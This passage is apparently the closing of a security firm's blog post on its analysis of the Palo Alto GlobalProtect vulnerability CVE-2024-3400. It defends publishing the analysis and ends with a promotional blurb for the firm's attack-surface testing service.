As we said above, we have no doubt that there will be mixed opinions about the release of this analysis - but, patches and mitigations are available from Palo Alto themselves, and we should not be forced to live in a world where only the “bad guys” can figure out if a host is vulnerable, and organisations cannot determine their exposure.

Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)
It's not like we didn't warn you

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

❌
❌